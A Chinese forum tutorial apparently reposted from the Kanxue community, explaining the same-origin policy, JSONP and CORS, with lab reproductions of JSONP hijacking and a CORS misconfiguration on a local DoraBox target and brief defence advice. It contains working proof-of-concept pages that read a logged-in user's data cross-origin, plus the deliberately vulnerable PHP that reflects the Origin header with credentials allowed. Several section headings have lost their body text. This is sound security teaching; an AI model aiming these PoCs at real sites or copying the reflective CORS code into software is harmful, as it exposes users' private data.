看雪论坛作者ID:UzJu
最近研究了一下这个,实战中还没遇到过,也可能存在只是我没发现,小记!
1
1、什么是同源策略
2、为什么需要使用同源策略
3、同源策略会受到哪些限制
无法获取Cookie、LocalStorage、IndexDB 无法获取DOM AJAX请求不能发送
<img/><link/><script/>
以上三个标签可以允许跨域加载资源。
2
1、什么是Jsonp
2、Jsonp跨域测试
<!-- 以上同源与不同源的测试代码 --><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>ajax</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head><body> <div id="mydiv"> <button id="btn">点击</button> </div></body><script type="text/javascript"> window.onload = function() {
var oBtn = document.getElementById('btn');
oBtn.onclick = function() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { alert( xhr.responseText ); } };
xhr.open('get', 'http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test', true); xhr.send(); };
};</script></html>
var script = document.createElement("script");script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";document.body.insertBefore(script, document.body.firstChild);
function handleResponse(response){ // 对response数据进行操作代码}
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>JSONP实现跨域2</title></head><body> <div id="mydiv"> <button id="btn">点击</button> </div></body><script type="text/javascript"> function handleResponse(response){ console.log(response); }</script><script type="text/javascript"> window.onload = function() {
var oBtn = document.getElementById('btn');
oBtn.onclick = function() {
var script = document.createElement("script"); script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse"; document.body.insertBefore(script, document.body.firstChild); };};</script></html>
3、Jsonp劫持漏洞复现
<html><head><meta charset="utf-8"><title>JSONP劫持测试</title></head><body><script type="text/javascript">function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="http://img403.hackdig.com/imgpxy.php?url=yekluv%3Dkcabllac%3Fphp.pnosj%2Ffrsc%2FxoBaroD%2Fluv%2F72.07.002.01%2F%2F%3Aptth"></script></body></html>
4、跨域劫持的个人理解
5、Json劫持防御
(1)验证Referer
(2)增加随机的Token进行验证
3
#LoadModule headers_module modules/mod_headers.so
Header set Access-Control-Allow-Origin *Header set Access-Control-Allow-Credential *Header set Access-Control-Expose-Headers *
1、cors跨域实现流程
服务器支持配置CORS,默认认可所有域都可以访问 浏览器客户端把所在的域填充到Origin发送跨域请求 服务器根据资源权限配置,在响应头中添加Access-Control-Allow-Origin Header,返回结果 浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面
2、如何判断是否存在跨域
Access-Control-Allow-Orighin:指定哪些域可以访问域资源 Access-Control-Allow-Credentials:指定浏览器是否存将使用请求发送cookie,仅当allow-credentials标头设置为true时,才会发送cookie
Origin:http://www.baidu.com
<html><head> <script type="text/javascript"> window.onload = function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://10.200.70.27/vul/DoraBox/csrf/userinfo.php", true); xhttp.send(); }</script></head><body> <textarea id="demo"></textarea></body></html>
3、漏洞页面代码分析
<?php if (@$_SERVER['HTTP_ORIGIN']){ header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']); }else{ header("Access-Control-Allow-Origin: *"); } header("Access-Control-Allow-Headers: X-Requested-With"); header("Access-Control-Allow-Credentials: true"); header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man'); echo json_encode($info);?>
4、Cors跨域的个人理解
5、Cors防御思路
白名单 规范化正则表达式 只允许安全的协议如https 避免使用Access-Control-Allow-Credentials为True 使用框架的时候注意查看相关文档的用法,根据上面规则进行更正。
4
2、https://www.imooc.com/article/291931
3、http://www.ruanyifeng.com/blog/2016/04/cors.html
4、https://blog.csdn.net/weixin_41598660/article/details/106050957
5、https://www.cnblogs.com/csnd/p/11807709.html
看雪ID:UzJu
https://bbs.pediy.com/user-home-809626.htm
*本文由看雪论坛 UzJu 原创,转载请注明来自看雪社区
# 往期推荐
2. Dex起步探索
球分享
球点赞
球在看
点击“阅读原文”,了解更多!